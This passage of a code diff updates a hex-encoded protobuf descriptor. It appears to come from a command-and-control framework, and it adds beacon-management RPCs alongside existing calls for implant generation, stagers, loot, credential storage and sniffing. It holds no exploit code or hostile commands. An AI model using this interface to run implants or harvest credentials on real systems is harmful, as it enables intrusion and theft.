0x54, 0x61, 0x73, 0x6b, 0x12, 0x2a, 0x0a, 0x07, 0x47, 0x65, 0x74, 0x4a, 0x6f, - 0x62, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, - 0x6f, 0x62, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x14, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, - 0x62, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x37, 0x0a, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x61, - 0x72, 0x74, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x52, 0x65, 0x73, 0x74, 0x61, 0x72, 0x74, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x1a, - 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x12, 0x4f, 0x0a, 0x16, 0x53, 0x74, 0x61, 0x72, 0x74, 0x54, 0x43, 0x50, 0x53, 0x74, 0x61, 0x67, - 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, - 0x72, 0x12, 0x29, 0x0a, 0x07, 0x4c, 0x6f, 0x6f, 0x74, 0x41, 0x64, 0x64, 0x12, 0x0e, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x29, 0x0a, 0x06, - 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x6d, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2c, 0x0a, 0x0a, 0x4c, 0x6f, 0x6f, 0x74, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x73, 0x12, 0x2f, 0x0a, 0x09, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x1a, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, + 0x6f, 0x6e, 0x12, 0x2d, 0x0a, 0x08, 0x52, 0x6d, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x12, 0x39, 0x0a, 0x0e, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, + 0x73, 0x6b, 0x73, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, + 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x42, 0x0a, 0x14, + 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, + 0x12, 0x3e, 0x0a, 0x10, 0x43, 0x61, 0x6e, 0x63, 0x65, 0x6c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x54, 0x61, 0x73, 0x6b, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, + 0x12, 0x2a, 0x0a, 0x07, 0x47, 0x65, 0x74, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0e, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x32, 0x0a, 0x07, + 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, + 0x12, 0x37, 0x0a, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x61, 0x72, 0x74, 0x4a, 0x6f, 0x62, 0x73, 0x12, + 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x74, 0x61, + 0x72, 0x74, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4f, 0x0a, 0x16, 0x53, 0x74, 0x61, + 0x72, 0x74, 0x54, 0x43, 0x50, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x65, 0x72, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, + 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, + 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, + 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x29, 0x0a, 0x07, 0x4c, 0x6f, + 0x6f, 0x74, 0x41, 0x64, 0x64, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, 0x0a, 0x0b, 0x4c, 0x6f, 0x6f, 0x74, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, 0x0a, 0x07, 0x4c, 0x6f, 0x6f, 0x74, 0x41, 0x6c, 0x6c, 0x12, + 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x29, 0x0a, 0x06, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x6d, 0x12, + 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, 0x6c, 0x4c, - 0x6f, 0x6f, 0x74, 0x12, 0x2f, 0x0a, 0x05, 0x43, 0x72, 0x65, 0x64, 0x73, 0x12, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x15, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, - 0x69, 0x61, 0x6c, 0x73, 0x12, 0x32, 0x0a, 0x08, 0x43, 0x72, 0x65, 0x64, 0x73, 0x41, 0x64, 0x64, - 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, - 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x31, 0x0a, 0x07, 0x43, 0x72, 0x65, 0x64, - 0x73, 0x52, 0x6d, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x12, 0x2c, 0x0a, 0x0a, 0x4c, 0x6f, 0x6f, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x0e, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, + 0x0a, 0x0b, 0x4c, 0x6f, 0x6f, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, 0x0a, + 0x07, 0x4c, 0x6f, 0x6f, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2f, 0x0a, 0x05, + 0x43, 0x72, 0x65, 0x64, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x32, 0x0a, + 0x08, 0x43, 0x72, 0x65, 0x64, 0x73, 0x41, 0x64, 0x64, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, + 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x12, 0x31, 0x0a, 0x07, 0x43, 0x72, 0x65, 0x64, 0x73, 0x52, 0x6d, 0x12, 0x15, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, + 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x12, 0x35, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x73, 0x55, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x35, 0x0a, 0x0b, 0x43, - 0x72, 0x65, 0x64, 0x73, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0b, 0x47, + 0x65, 0x74, 0x43, 0x72, 0x65, 0x64, 0x42, 0x79, 0x49, 0x44, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, - 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x43, 0x72, 0x65, 0x64, 0x42, 0x79, 0x49, - 0x44, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, - 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x41, 0x0a, - 0x12, 0x47, 0x65, 0x74, 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, 0x79, 0x48, 0x61, 0x73, 0x68, 0x54, - 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, - 0x12, 0x4a, 0x0a, 0x1b, 0x47, 0x65, 0x74, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, - 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, 0x79, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, - 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, - 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x40, 0x0a, 0x12, - 0x43, 0x72, 0x65, 0x64, 0x73, 0x53, 0x6e, 0x69, 0x66, 0x66, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, - 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x2c, - 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x26, 0x0a, 0x04, - 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x48, 0x6f, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x06, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x6d, 0x12, 0x0e, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0f, + 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, + 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x41, 0x0a, 0x12, 0x47, 0x65, 0x74, 0x43, 0x72, 0x65, + 0x64, 0x73, 0x42, 0x79, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, + 0x61, 0x6c, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, + 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x4a, 0x0a, 0x1b, 0x47, 0x65, 0x74, + 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, 0x79, + 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x15, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, + 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x40, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x64, 0x73, 0x53, 0x6e, + 0x69, 0x66, 0x66, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, + 0x6c, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, + 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x2c, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, + 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, 0x6c, + 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0e, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x29, 0x0a, + 0x06, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x6d, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2b, 0x0a, 0x09, 0x48, 0x6f, 0x73, 0x74, + 0x49, 0x4f, 0x43, 0x52, 0x6d, 0x12, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x49, 0x4f, 0x43, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, + 0x65, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, + 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x52, 0x0a, 0x10, + 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, + 0x12, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, + 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, + 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, + 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x12, 0x4d, 0x0a, 0x19, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, + 0x72, 0x6e, 0x61, 0x6c, 0x53, 0x61, 0x76, 0x65, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x1f, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, + 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, - 0x2b, 0x0a, 0x09, 0x48, 0x6f, 0x73, 0x74, 0x49, 0x4f, 0x43, 0x52, 0x6d, 0x12, 0x0d, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x35, 0x0a, 0x08, - 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, - 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, - 0x61, 0x74, 0x65, 0x12, 0x52, 0x0a, 0x10, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, - 0x78, 0x74, 0x65, 0x72, 